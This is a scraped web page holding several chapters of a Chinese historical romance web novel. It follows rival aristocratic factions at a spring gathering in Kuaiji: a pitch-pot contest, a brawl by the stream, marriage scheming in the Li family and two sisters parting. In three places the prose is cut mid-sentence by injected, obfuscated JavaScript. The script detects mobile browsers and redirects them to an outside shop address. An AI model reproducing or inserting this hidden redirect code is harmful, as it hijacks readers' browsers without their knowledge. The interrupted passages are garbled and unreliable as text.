不管吴量信与不信,吴庆漪丢下这句话后就神情悠悠的侧过头去,好似这是一件脑海深处搜寻不到的小事。 再问,也问不出什么深刻的印象。 吴量衣袖飘逸,发须也飘逸,只是老来有些秃顶没几根头发可飘,他捋了捋自己的白色长须,因年迈而有些耷拉的眼皮无法掩盖他俊美的丹凤眼。 父女俩倒是长得很相像,一看就知道吴庆漪的凤眸是随了谁。 一老一少站在春景中,不远处逐渐走近一道倩影。 吴町笑着走至跟前说道:“伯父,不知能否让灵岫陪我走一走,早就听闻会稽山水好,道泉可是期待很久了。” 吴量叹气,哪里不明白这对姐妹的心思,吴町都来捞人了,他做伯父的总不好不给侄女面子,他摆了摆手,将自家女儿打发走了。 蓝色的小花在风中摇曳,花茎稳在女子皎白若凝脂的耳朵后面,时不时的与发丝纠缠在一起,又丝滑的离开。 像是无拘无束的最自由的一抹倩影。 吴町笑着拉走了自家小妹。 “狼子野心,背信弃义,无君子之风,小人之心作祟。”女子挑眉,一边揽着吴庆漪的胳膊,一边这么说道。 她因着吴庆漪的关系,也算是和莫要年少相识,他如今的形象和作为在吴町那儿,吊诡的算不上出乎意料。 那人自第一日到吴府上开始,便时常吊着眼满身野性。唯一副好皮囊替他遮掩,让莫筠不至于被当作阴间的鬼。 吴町所言,即是外界对莫筠的评价。 也是最好用来堵住吴量的问询的答语。 但这个干脆利落和那人割席的小妹,却是在阿大的关切询问中掩盖了京中的风波,搪塞着将话糊弄了过去。 吴町还是有些担心她的情绪,昔日亲近之人公然站在家族的对立面,是个人的心里都不好受。 既然是站在家族之外,那也就没什么争议的成为敌人了。 听见吴町的话,吴庆漪抬起眼看向她,轻声道:“嗯。” 说是“嗯”,更像是鼻子里出气捎带着出了点声,既不是认同,也不是辩驳。 噢? 小妹也是学会了糊弄功夫了,怎得连一向最爱的姐姐都糊弄起来了呢。 吴町怒了努嘴,拉着吴庆漪又走远了些许,两个人坐到了湖畔的大石头上,侍者也跟着坐在一起,四个人好一阵玩闹。 自她成了婚,可是好久没有这般恣意的畅游山水了,该说不说,这景色确实是比京中更自然,更有看头。 “阿姊!阿~姊!” 不远处跑过来一个小萝卜头,四个人齐齐回头看向他。 吴连咧着嘴就扑了过来,一手拉着吴庆漪的袖子,一手抓着她的裙角,眼睛黏在吴町的身上,像是生怕这个人再偷偷把吴庆漪拉走。 吴町哪里不懂他的心思,接着就瞪着他叉起了腰。 “好小子,连堂姐都防,看我怎么收拾你。” 吴庆漪不参与二人的争斗,在一旁看着一大一小你追我赶,笑倒在阿昌身上。 侍者也笑着,一边伸出手扶住她。 “好姐姐,莫要挠我的脖子,哎呦!” 吴连哎呦哎呦个没完,再怎么耍赖撒娇都没哄得吴町收手,他俊美的小脸皱在一起,饱受痒痒肉的折磨。 这副小可怜的样子,愣是当了吴町的笑料。 她喊他小老头,把吴连喊得心里的防线一塌再塌,他摸摸自己的脸,又用余光看了看吴庆漪清新脱俗的面容,小嘴一嘟就要落下泪来。 “欺负人,我有热闹也不喊堂姐看了!” 热闹?什么热闹。 吴町收手,站直身子理了理自己的衣摆。 “好小子,将热闹说出来,姐姐饶你一命。” * 崇山峻岭,茂林修竹。 小溪的东边摆着屏风和软榻,蒲团旁有一碟一碟的果子,眼下已经在宴席上看不到几盏茶壶了,侍者将茶盏换下,换上了热腾腾的酒。 浆洗过多次的软和的旧衣、早已计算好分量的粉末承装在精致的容器中,各家的侍者都手上功夫利索的准备好了主人需要的东西。 酒要趁热,药要趁酒。 孙雅集醉的厉害,此时敞着怀,也不计较服散的那点酒了,两口下肚,他满面红光,仰着头躺倒在草地上。 漆耳杯被丢到地上,连着翻了好几个跟头,最后被侍者捡起来,以清水冲洗,又放回到了孙雅集面前。 新派旧派剑拔弩张的气势,此时已经如柳絮触水一般化开。 众人的意识摇摇欲坠,吴恒脱下了外袍。 好哥俩又聚在了一处,浑身火热恨不得跳到溪水中吸取冷意,吴恒和李忞之二人因服散没再勾肩搭背,只是一味的对着喊,“你你你,我我我。” 一旁的清贵侍郎官沉着脸,被他俩嚷的颅内反复回荡着“你你你,我我我。” 余音绕梁。 莫筠不似士族子弟那般,贪念逍遥散的畅意迷醉之感,他此时困极,又连着处理了多日的政务,眼角的细纹褶皱深了不少,更显他几分沉重。 碎发他无心管,身旁二人的声音他也无心理会。 莫筠正准备拨袍起身,阿常跟着坐起身子,主仆二人就听得不远处一阵喧闹,似是有什么重物砸进了水里,惊扰了附近的贵人。 紧跟着,轩轩嚷嚷的争执声越发激烈。 “扑通——” 又是一阵落水声,集会大乱。 侍郎官起身的动作一顿,似是被这意外的乱事扰到,原本低垂着的眼狠狠闭眸,长睫扫过眼睑,他懒得撇头,再抬眼时黑白分明的神情压下些许戾气恣意。 又是什么蠢人在闹。 他从牙关挤出一声“啧”笑,长指抵额使劲摁了摁。 闹事是从东边不远处传来,那边多是新派人,他作为新派的“脸”,不能缺席。 他站直身,仍风吹动他的袍角,莫筠回头看了一眼不省人事准备狂奔的李吴二人,又一次闭眸,干脆的离开了。 “红贯耳,两筹。黑骁箭,两筹。黑总三筹,红总两筹。黑领先一筹。” 曲水不远处的青砖平地处,有十余人聚在一起,中央放置着青铜壶,兽面衔环,颈长腹阔,壶口初隐约可见其中的豆子,这些豆子是为了稳定壶身而置。 报数之人是个侍者,他有几分拘谨的站在士族子弟中央,被众人的视线环绕着。 这倒是不多见的,毕竟投壶的裁判要由位高权重人担任。 一个侍者被顶到人前,好似是为了平衡身份而特意安置的物件儿,一如壶口的豆子一般。 保持壶身温顺,不会在箭矢的力道下侧翻颠倒。 “粗人投矢,只知蛮力,不知礼让。” 有人哼声,满眼不屑。 此人一身锦衣,高束着发在一众披头子弟当中尤为出挑,他腰间佩玉,质地柔润,透着莹白,是顶好的料子。 腰背挺直,衣袂飘逸,神情轻蔑却不失仪态,像不曾蒙尘的明玉一般洁净,谦谦君子。 这玉是由编绳坠着的,玉身之外还有小珠子,每颗珠子上都刻着“李”字,镂空的不知花费了匠人多少心思。 他名为李邬,字元规。 李邬持红,见黑领先一筹,心中不满,他堂堂李家子弟,怎么会输给一个只会蛮力的武夫。 毫无风雅可言,简直是不堪入目! 李邬身旁围着不少人,他们站在旧派这一边,又和李邬亲近,大多都是门阀中人,门第差些的都远远的在青砖地外窃窃私语。 投壶乃是他们自幼习得的,既讲究技巧,还看重韵致。 投壶之时,身体要雅,姿态要曼妙,这武夫懂都不懂,投箭矢像极了斩人头一般,辣眼残目,多看几眼都要不会走路了。 旧派挤兑人,新派也不吃哑巴亏。 都是文人嘴上功夫谁比谁弱? 于是就这么吵嚷起来了,吵嚷声里,一个身着黑衣的少年静默着,他手上拿着黑色的箭矢,仿佛没听到旁人的讥笑声。 他的目光越过壶口,探向那些衣冠如雪的士族子弟,似乎是觉得没什么意思,他又将目光放远,落到了不远处的竹林里。 鸟站在竹子稍上,欲飞不飞的。 他不同于同僚。 少年是从军起家,没读过这么多书,若不是将军提携,他也没什么资格来参与这次雅集。 投壶,中了不就行。 论什么韵致,他不懂。 韵致不能当饭吃,也不能上阵杀敌。 韵致若是这么有用,怎么不去替他父亲挡箭免于他被万箭攒头,血染红了江水,父亲沉于湖底,再也没有生机。 没用的东西这般看重。 想必也不是什么有用的人。 少年动了动肩,压住了大臂的酸痛,他缓了三息,将手中的箭矢掷出,“叮当”一声—— 周围的喧闹声安寂了一瞬,门阀子弟面面相觑。 又是全壶! 李邬拧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468339|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,脸色难看,他其实长得不错,家世好,一副贵公子的作态也称得上美人。 竟然又让这个粗人中了。 眼看着李公子表情越发愤愤,身旁的友人们连连安慰,说少年不过是侥幸,元规不必在意。 “拿矢来。”李邬沉声道。 箭矢被放入他的掌心,李邬迈开步子走到投壶的地方,目光紧紧的黏在壶口,他已经落后了两筹,必须要赶上去。 李邬紧紧的绷着额头,手上出了汗,他将箭矢换到左手,右手掌心往衣服上狠狠一擦,接着将箭矢换回右手上。 他深吸一口气,想要投出“连中”。第一箭入壶弹起,他飞快地接过侍者递来的第二箭,想从弹起的缝隙中穿过。但弹起的箭偏了方向,第二箭撞在壶口,两箭同时落地,弹跳着滚开,像两只受惊的兔子。 喧闹声又是一阵沉寂。 不知是谁“啊”了一声。 无人敢去看李邬的面色,虽然猜也猜的出来,这位养尊处优的李家公子,此时已经怒火中烧,满面乌色了。 “黑胜。红负,请饮罚酒。” 李邬剐了侍者一眼,咬紧了后槽牙。 罚酒承在容器中端了上来。 李邬举起觥,一饮而尽。酒液从他的嘴角溢出,顺着下巴滴落,落在他的白色衣袍上,洇开深色的湿痕。 他饮了罚酒,不像喝到胃里,更像流进了心里,给心中的怒火添柴加火。 李邬微微仰首,轻佻的愠声道:“一局不过侥幸,敢不敢再来一局。” 少年见局势分明,刚要离开,正提步却突然听到旧派之人喋喋不休的细碎声音,和李邬的邀约。 他笑了一下,又绷直了嘴角。 在投壶这一处的,多是新派的年轻人士,在官场还未做出一番功绩,家世大多出自寒门,与京中扎根盘踞许久的世家大族无法相比。 寒门子弟即便再能说会道,也无法在门阀后人面前抬起头来。 众人噤声,神色迥异的望向少年。 本是新派赢了一场,他们还来不及高兴就被旧派咬上来,若是连赢那是最好不过了,若是输了,便少不了一顿讥讽。 好不容易争来的彩头也要白白被夺回去。 可,若是不比…… “不。” 少年掷地有声的丢下一个字,懒得多说什么就要离开。 李邬见此,哪里肯罢休,他一撩袍,抬手作揖。 贵公子的风范尽显,风吹过,其面容盈满春光,看不出坏心肠也看不出有什么轻蔑之意,甚至在春光下显出一股美人气质来。 谁看了都要说一句,仪态之雅,非常人所及。 反观少年,他一身黑衣,不配玉,也没什么文人气。 见李邬不松口,少年的脸绷得紧紧的。 新派之人同他一气,说不比,就不比,七嘴八舌的又要喧闹。 “尔不过一介武夫,侥幸胜我,有何可骄?”李邬哼笑一声,以为自己拿捏了少年,紧跟着他又吊着嗓子说道:“投壶之道,首重容止,次重节拍,末重中否。” 你投箭矢如同丢石子,太过粗俗。 即便全中,亦不过是‘田舍汉投石’罢了! 连呛带骂,新旧派争斗已经端上明面,李邬讽刺少年粗俗何尝不是在讥讽新派蛮横,对于新派之人来说,这完全就是不讲理的。 上品无寒门。 好事都让士族掳去了,无才无德之人只要有身份就可以入朝做官。 反观寒门,苦读数十载也无一官半职。 你们倒是雅,不过白日做梦,图享乐罢了。 不知是谁先丢了温文尔雅的皮,掀了桌子翻了脸,总之闹哄哄的新派旧派就叫骂了起来,甚至互相推搡,谁也不让。 局势失控,曲水蜿蜒。 扑通扑通—— 不知是谁家的公子被推到了溪水里,再紧跟着,不知是哪个寒门被拽下水。 水里的人扑腾几下冒出头来,狰狞着脸,像水妖一般头发湿漉漉的黏在脸上,好不狼狈,他手指着岸上的人,好像要生生把推搡他的人点死一般。 突然,落水人愣住。 一双烫金纹鞋履出现在他的眼前,再往上是锦衣、佩玉和一张满面恹恹,眉眼疲倦恣意的挺立的脸,鼻若山峰,薄唇若栾,仿佛在这张脸上看尽了春秋和阴雨天的潮湿。 落水之人对上他的目光,下意识的打了个寒颤。 “闹什么?” 来人正是莫筠。 10. 投壶 聚在一处张扬的大多是年轻子弟,新派人都是刚被提携起来的寒门少年,一身军功的那些老油子都不在此处,没人震着。 于是众人才越闹越没边儿,扑棱扑棱掉水里好几个。 好不狼狈。 士族子弟也没什么颜面可存了,披头散发的,胳膊上腿上到处都是推搡之时留下的抓伤乌青。 见有人来,这才收了爪牙,端回了世家大族的架子。 只是谁都没想到,来的竟然是莫筠。 寒门子弟纷纷噤声,一个个乖顺的不得了,磨蹭着推到了阿常身后。 阿常笑眯眯的,向众人作揖。 站在岸上的纷纷站队,泡在水里的在心中叫苦不迭。 落水的寒门避无可避的对上了莫筠冷凝的目光,心肝跟着一颤,眉头都耷拉下来。 惨了惨了。 怎么闹到这位面前了。 莫筠掀起眼,左右打量一番,后压着气以手抵额,他另一只手指节微蜷,随意的招呼着侍者来捞人,稀啦啦的水声响在他的耳边,他似是有些许不耐,眉目沉沉,让风都避着他的俊美侧容吹过。 一瞬间,他所在的地方像是抽脱于众人所在的地方一般。 等两边落水的人都被提了上来,这些年轻子弟才长吐出一口气,惊觉方才十余人都屏息凝神,不知为何对这个站在岸边的新晋侍郎官怀有一分惧意。 但也不是所有人都惧怕莫筠的官职和身份,尤其是和他同辈的士族之人。 李邬自莫筠的身影出现在投壶场之时,视线就一直黏在他的身上,神情说不上友善,他侧着身,微微仰起头,嘴角若有若无的吊着一个笑。 还是老熟人。 他的衣袍上还残存着罚酒的香气,唇齿间好似还可以舔到些许血腥味。 血腥气是因他方才自觉受辱,强行咬破了口腔。 李邬和莫筠同为李家人。 不过李邬是正宗的李家子弟,他莫筠—— 义子而已。 冒牌货。 觊觎门阀身份的弃子罢了。 李邬笑着说:“子甫,你来得正好,我们正要再比一局投壶,你来做裁判,肯定公正不会有失偏颇。不要忘却了投壶的要义才好。”他这般说着,仿佛没有听到少年的拒绝,大剌剌的替新派揽下了邀约。 听见李邬颠倒黑白,新派的年轻子弟气的脸又红了起来,本来都快消了,让李邬一激,情绪卷土重来。 “我从未见过如卿一般,如此、如此厚颜无耻之人!”一个儒生扮相的少年气的直哆嗦。 阿常笑眯眯的表情一顿,嘴角压了压。 “我们何时说要比了,方才就是我们赢了,有什么理由陪你们这些纨绔继续玩?” “就是,我们不必如此。” …… 舆论漩涡的少年站在人群最前面,他功夫好,在推搡中没吃什么亏,眼下一边袖子撸起,小臂的旧伤裸露在外。 他下意识的看向前面那位大人的背影,抿了抿唇。 这位大人,他是认识的。 他的父亲曾提起过,京城李家收了个义子,满腹才情,人也长得周正,父亲曾和他有过短暂的交集。 父亲说,那个少年,心事太重。 如今,他和这位大人是一个阵营的人了。 莫筠一直没回应,他揉了揉眉心,恹恹的对上了李邬的眼,眼底浮出几点厌恶的残影,情绪埋得很深。 又是这个蠢货。 他长睫轻颤,瞳孔幽黑,仿佛想抛开李邬的头颅去看看此人脑子里都装这些什么东西,成日没事做,寻旁人的麻烦。 “李公子是无事可做吗?”莫筠懒懒散散的说道。 李邬紧了紧牙关,故作轻松的说道:“这是什么话,子甫莫要和我生分了,原来我们可是一床睡,一桌吃的。” 听见这话,新派人纷纷震惊,他们不如旧派人知道莫筠的往事,见李邬将二人说的这么亲密,以为莫筠不是来给自己人撑腰的。 几个寒门子弟肉眼可见的慌了神。 他们下意识的将目光投到阿常身上,想听到什么安心的话。 但是—— 他们一扭头,发须阿常侍者的脸色难看的不行。 一向笑眯眯的阿常侍者,眼下冷了目光,嘴角绷得笔直,全无暖意。 阿常快气疯了。 他想,这位李公子,是怎么有脸提起李府的往事的? 投壶少年安安静静的站在一旁,将阿常的神情收入眼底。 李邬好像有大人的把柄。 他垂在两侧的手微微收紧,半晌,像是下定了某种决心,他松开掌心,向前半步说道:“行了,我——” 比就是了。 背对着少年的那个人,突然伸手拦下了他未尽的话语,那人修长的指节立着,十分随意的带着懒洋洋的力道向后摆了摆。 “孙林。” 少年被喊了名字,双目微张,眨了眨眼。 莫筠没回头,低沉的嗓音掷地有声,“退后”,他这么说着,自己向前走了几步,对着李邬的眼,带着几分讥讽的又道:“和寒门比什么?” 李邬盯着他,大有用眼刀子将他一片片剐成泥的意思。 莫筠走至投壶场,捏起一支红色的箭矢,随意的转了转,指腹传来微凉的触感,他抵着头垂着眼,没有什么情绪。 李邬仍在原地。 莫筠身子未动,只微微侧头目光锁向了李邬,他因困极而显出几分疲倦的恹恹感盛极,此时眼角的细纹因微眯眼的动作而加深了些许,一幅轻蔑之态,可偏偏他人长得高,清劲的腰身为他添了几分凌厉的感觉,远远望去,只觉其人清贵不可亵玩,不觉失礼。 “李公子,请吧。” * “阿姊快些走,慢了就赶不上热闹了,我方才来的时候,那边哗啦啦的都在水里嬉戏呢” 吴连扯着吴町的袖子,连拽带拖的。 吴町也紧跟着他,脚下步子飞快。 “在玩水?一群公子哥玩水有什么好看的,你小子,难道忘了阿姊已经成婚,如何能去凑这种热闹。” 吴町无奈,恨不得揪着小弟弟的耳朵说教一通。 “不是玩水,他们叫嚷着新的旧的什么的,李家人也在,赤红着脸和人吵架呢。”吴连嘟着嘴说道。 吴庆漪听到小弟的话,挑了挑眉有些惊讶,“李家的热闹啊,小弟你、不喜欢李家的哥哥们吗?” 她有些好奇,往前凑了凑脸,女子姣好的容颜混着她特有的香气,吴连猛地保住了她的胳膊,狠狠的闻了一口。 好喜欢,阿姊。 “不喜欢。” 要抢走阿姊的人,我都不喜欢。 一行人连跑带赶的向东走去,刚穿过竹林,就听得几声清脆的投壶入洞的声音,声声干脆,没有磕碰的杂声,配上溪水的潺潺声,恍惚间真有几分奏乐的架势。 吴町耳朵一动,兴致更高几分。 她是投壶的好手,自小就混迹在大大小小的集会宴席当中,好友隔三岔五就喊着一起投壶接飞花令,不说这些,就是在家中,吴家子弟也常常聚在一起投壶比试。 她吴町要是说第二,没人称第一。 吴町在心中哼哼道,将她的劲敌抛之脑后。 投壶?确实是好热闹。 听着动静,这个正在投壶的人,皆是全中,不知道是谁家的,有这样的能力,她可得和这人比划两下。 竹林簌簌作响,小风悠悠而过。 绿影中穿行而出几人,为首者头发盘起,只两鬓落下发丝,走动时步摇时不时的轻晃,显出此人尊贵的身份,与她同行的是另一位灵动的女子,衣裙逶迤在地,腰盈盈一握,佩戴着玉。 突然身后冲出一个小孩来,衣着不凡,小贵公子做派。 投壶处的众人见有人来,纷纷侧目。 旧派之人先认出来者身份,眉目间染上喜色,作揖的间空不忘投以挑衅的目光刮向那些寒门子弟。 是了。 没什么比门阀中人更能壮大他们的面子的了。 这可是吴家人啊。 哼哼。 阿常见吴庆漪她们过来,也是一惊,但他修养好,喜怒不会特别醒目,一边行礼,一边笑着问好。 吴町等人也笑着回礼,唯阿昌鼻子一扭,无视他。 阿常摸了摸脸,笑眯眯的。 另一旁莫筠正在投矢,他持箭矢,仪态若青竹扶风,衣摆轻盈被吹动不受约束,是为随性之雅,和风同尘,但他人身不动,任风勾勒他的腰身和肩背,显出一股出尘的坚韧挺直来。 一举一动都符合了李邬为难人时说出的标准。 就算是自小长在门阀之家的李家人,也不敢说仪态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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佩玉莹润,鬓发飘逸,眼若秋水湖。 他倦的厉害,压不住纷杂的思绪,前些时候长亭的旧像又涌了出来,一遍一遍的在他的耳畔回荡。 方才捞人,对峙,投壶都没能勾起的烦躁现在一丝一丝的萌发,莫筠突然有了一种正在经受什么的煎熬之感。 突然,像是魇着了一般,他笑出声。 身后的阿常笑眯眯的神情抖了一下,僵着脸看向自家公子。 这是咋了,怎么公子越发阴晴不定了。 莫筠有几分无趣的看了眼投壶,又以目光示意李邬。 赢了,还比吗。 哼笑着他看到李邬破防的神情,和咬牙切齿的余音,莫筠眼底漆黑一片,看重李邬没什么情绪。 “阿常,见到旧主该有何表示。”莫筠的声音掷在耳畔,阿常诧异抬首。 什么旧主,谁的,我的吗? 啊?我吗?我行礼了啊。 阿常四顾茫然,不知道自家公子来的是哪一出。 “走了。” 他嗓音微哑,沉声道。 侍郎官一身锦衣,发丝随他的动作垂下,发尾微蜷扫在他的腰际,莫筠面向吴町等人的方向,尤像是面对那灵动的少女一人。 四周的人什么都没察觉到,还在争辩两派旧事。 一阵喧嚣中,唯身后的阿常和不远处迎面的吴庆漪注意到了莫筠的动作。 少有才情美称的贵女目光沉沉,丹凤眼依旧漂亮剔透,像是能一眼望穿人心底掩盖的心事一般。 可莫筠知道,她不能。 吴庆漪是门阀养出的女子,她看不穿他这般卑劣低微的凡尘之人,也没那个必要。 总归,是对立面的。 莫筠垂首,面容落进了阴翳中,鼻若青峰眼若深潭,他躬身作揖,和士族公子一般端方有礼。 阿常顿住,也紧跟着行礼。 遥望过去,主仆二人仿佛行的是一个礼。 仿佛,吴庆漪并非贵门之女,同僚之子。 而是需要侍奉的贵人。 是……永远效忠的主子。 吴庆漪将一切收进眼底,怔在了那人的躬身里。 11. 李家人 金轮西斜,风穿林而过。 绿草茵茵的长坡,服散的文人雅士正穿着宽大的衣袍逍遥走动,近身的侍者候在不远处,有不少童仆正在轻点贺礼。 集会尚未结束,来往的墨宝字画就早早的送了出去。 是谓人情往来。 上巳节,会稽一会,共有诗文四十余首。 负责誊抄的寒门子弟,一边抄一边赞叹,他将收集整理过的诗文送到了吴量跟前,这位会稽的大文豪难掩喜悦,洋洋洒洒的又作文一篇。 为这四十余首诗文著作提了一个序。 想到自己的身体越发的亏空,他手上翻阅诗文的动作一顿,半晌,不知道是出于什么样的心情,吴量轻轻的吐出一口气。 “玄道,死生又有什么重要的呢?” 当事人心思超脱了,不觉生死是什么大事,亲近之人却被这句话吓得恍了神,吴决听到哥哥的话,皱着眉就说道: “什么死了活了的,你才多大。” 貌似被小自己几岁的弟弟教训了一句,吴量也跟着一愣,有些许不自然,他带着病容的脸消瘦,挂不住多少肉了,“我自己的身体,我明了。” 吴决不理会,只当没听见。 “你在京中蹉跎,我知道那不是你的本意,吴家的门楣仰仗你,其中有多少艰辛,兄长好像也无法为你分担什么,”说罢,吴量一顿,起了玩笑的心思,“不若我赠你一幅墨宝?” 吴决久经官场,身居高位,如今又官居一品和李公共治,此次前往会稽集会,不知道有多少人上前攀附,估计此时侍者那边收礼都收了好几车了。凡是叫得上名的叫不上名的士族人家,都在打听他的喜好,绞尽脑汁的想要巴结讨好吴决。 这么一个难倒了众家的难题,就这样成了吴量打趣弟弟的话头。 吴决年轻的时候风流的很,如今年华逝去依旧可窥得曾经的好皮囊。 文人骨,美人皮。 吴决一时哭笑不得,他想了想书房挂着的,收着的,送了人的属于吴量的那些墨宝,深吸一口气。 “都可,” 吴量哈哈大笑,拍了拍吴决的肩膀。 * “父亲,唤儿何事?” 一道身形清瘦的男子从远处走来,他步子有些摇晃,双颊微红,腰间佩玉带有镂空的珠子,走到跟前后,他顿住,垂首行礼。 坐着的那人未着一次,通身却不怒自威的显出一股威严来,见到来人他微微侧目,点了点头。 李公开口声音沙哑,透出年迈之人独有的果断来:“今日集会,都做了些什么。” 佩着玉的公子想了想,回道:“和哥哥们一起赏了赏会稽的景,山是好山,水是好水,当真是好地方。” 李公没什么表情,接过侍者斟好的茶,品了品,“咏安,你对未来如何看?” 眼看着父亲接二连三的抛出问题,那公子由一开始的散漫渐渐的端正了神情,再然后额间开始冒汗,他名李微,字咏安,是家中最小的儿子。 来时,还在跟哥哥们玩闹,谁知突然被父亲喊来训话。 未来? 他还能怎么看,天塌下来也砸死他那些个哥哥。 如何轮的着他这个小子来著文一篇谈谈古今事? “来日之事,未可逆睹。或寄情方外,或浮沉人间,随化而已。”赶鸭子上架般的,李微秃噜出这么一句话。 李公又端起茶盏来品了一口,侍者为李微上茶,父子二人一时相顾无言。 正当李微以为父亲要说什么敲打他的学业时,李公状似无意的开口道: “咏安,京中可有你钟意的女子?” 李微:? 这是要让他娶妻?不对吧,我不是最小的吗? 难道,我不是最小的,我成了老大不小的了?!! 李邬都没娶妻呢,怎么直接轮到我了。 不可,不可。 风流岁月如何能够如流水般哗哗逝去啊,可怜我咏安公子今年也就十五岁,英年早婚何其哀也。 若是娶了个贵女入了李家门,不知道要过多少个枯燥乏味的夜晚。 携妓游山更是想都不要想了。 李微压了压情绪,不让李公听出他的不满,“父亲怎么突然说起我的婚事,兄长未成家,我如何能先娶妻?” 李公瞥了他一眼,没拆穿他的心思,“自然不是叫你先兄长娶妻,”他以手叩案,意味深长的说道:“若时候到了,早一步晚一步又有什么大碍呢。” 他摆摆手,示意李微离开。 侍者直到李微的身影消失在湖畔边,才上前一步重新为李公上茶,“老爷何不告诉小公子,李吴两家要结姻亲的事。” 李公似乎有些不耐的皱了皱眉,半晌他松了眉头,无奈的说道:“你看我的这几个儿子,老大早已成家,老二——”他眼底浮现出几分厌恶,啧了一声不再细说,“老三娶了吴家女,如今在朝中任职,住在别处。” 李家嫡系一共五个儿子,可堪婚配的也就剩下李邬和李微。 如今新派来势汹汹,想要巩固政局,李吴两家再添一门亲事是毋庸置疑的。 可对于吴家来说,李家并不是唯一的选择。 吴决如今在朝中如鱼得水,位极人臣,手上又掌着兵权,他完全可以将家中女儿许配给军中将才,以此巩固他的军事话语权。 不说朝臣,就说皇亲宗室,吴家也是配得上的。 如今的会稽王,据他所知的信息来看,可是和吴量私交甚欢啊……也就是年纪大了些,二十五六。 但生得也是一表人才,面若冠玉,他如今在会稽一带驻守,难保吴量不会动了将女嫁到会稽,守在自己身边的心思。 他今日一瞧,吴量的身子可是不大好了。 李公又是沉沉的摇了摇头,叹了口气,李家光耀了好几代,子弟享乐惯了,没有忧患意识,朝堂上的事也是随心随意,没有敏性,愚得很。 寄情方外,浮沉人间。 李家若是再下沉下去,未来可就不是这么轻松的事了。 “长更,唤李邬来。” * “行了,灵岫不必送了,快些回府吧。”吴町披了一件薄披风, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468341|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立领显出她纤细的脖颈,耳朵上佩戴的珠玉在昏暗的夜色中闪闪发着荧光。 她摆摆手,示意吴庆漪回府避风。 “过几日你就回京了,到时候我去家中寻你。” 闹腾了一天,此时已经想要困觉的吴连揉了揉眼睛,他一手捏着吴庆漪的裙角,一手揉揉眼睛,又忙不停的向吴町招手。 吴连虽然让吴町好一顿欺负,但是打心底的他喜欢这个阿姊。 小孩心性作祟,他余光瞄到吴町身后那架青油幢、朱丝络的通幰牛车,鼻头一酸,有些难过不舍。 扭扭捏捏的,小公子挪到吴町身边,猛地一下抱住了她。 吴町笑出声,摸了摸他毛茸茸的小脑袋。 吴庆漪在一旁面带暖色,她是送客,并未着披风,夜风吹动她的鬓发,步摇精致在发间点缀着,只是再名贵的步摇,也掩盖不了女子的好容颜。 她说:“阿姊如今成家,家中事务还等着你处理,待我回京之后,去李府寻你。” 吴町笑语:“巴不得你来,我亲自写帖子,再邀些贵女一聚,好生热闹热闹。” 吴家娘子爱热闹的喜好真是半点没变,吴庆漪听了都有些好笑的翘了翘眉,又热闹上了,会稽的集会今日不是刚结束吗。 哭笑不得的吴庆漪对上吴町亮晶晶的目光,不忍坏她的好兴致,只得跟着附和点头。 临走了,吴町回头,拉了吴庆漪的手一把,把妹妹轻轻的拽到自己的怀里。 女子的幽香探了过来,和吴庆漪身上的味道糅到了一起,妇人的发髻不似姑娘飘逸,但吴町性子活,和未出阁的贵女抱在一起也不显刻板。 她凑到吴庆漪的耳边儿,轻声吐出柔言细语:“灵岫,姐姐知道你心有郁结,找个机会说开吧。”吴町轻轻的抱了吴庆漪一下,芊芊玉手抚在她的背上。 “我今日看见他对你行礼了。”吴町又道。 吴庆漪闻言抬头,二人错开了怀抱,面对面离得很近。 女子毫无防备不经遮掩的疑惑和些许迷茫暴露在了吴町的跟前,她很温柔的勾起唇,娇媚的眉眼含着对妹妹的无限包容,吴町像是哄小孩一般,摸了摸她的脸。 “哪怕你放下了割席的话,那人也没将二人的过往完全抹去。” 他还记着年少的情意,此情非被吴庆漪断绝的相伴之情。 此情是少年于雪夜的匆匆一瞥,是小贵女的救命恩情。 若不是记着这份情,如今在朝中任职的侍郎官,何必要行如此大礼。 吴庆漪愣了愣,一向漂亮清透的丹凤眼有些无措的眨了眨,她下意识的想说什么,却发现自己只有一腔情绪堵在喉头,无半个清晰的字眼。 吴町没再说什么,她最后撸了一把吴连的脑袋,利落的上了车。 夜风悠悠,吴连喊了什么话,吴庆漪没有听见,她拉着弟弟的手,目送着牛车远去,车辙声辘辘作响越来越小。 “阿姊在想什么?” 吴连抬起头,看向吴庆漪,他长得小,只能看到她莹润的下巴和利落的脸型。 “走吧,回去睡觉。” 12. 沐浴 第十二章: 幽静的别院中只有簌簌风声穿过,居所的窗棱透出些许薄光,侍者两三人候在屋外,门吱呀一声推开,阿常走了进去。 阿常跨过门槛,微微侧身,屋内屏风上的漆光映入眼中,屏面上是一枝芙蓉花,雀鸟立在枝头上,通身以藤黄打底,屋内光线昏暗,偶有敞开的窗可以窥得窗外曼妙的月色。 屏风挡着,屋外人瞧不见内里的光景。 “公子。”阿常探头问了一声。 没人答应,侍者也没再开口,提步向内走去。 他绕了几绕,终于走到一处雾气氤氲的居室,隐约有水声淅沥,空气中湿润润的,像是雨后的雾林一般。 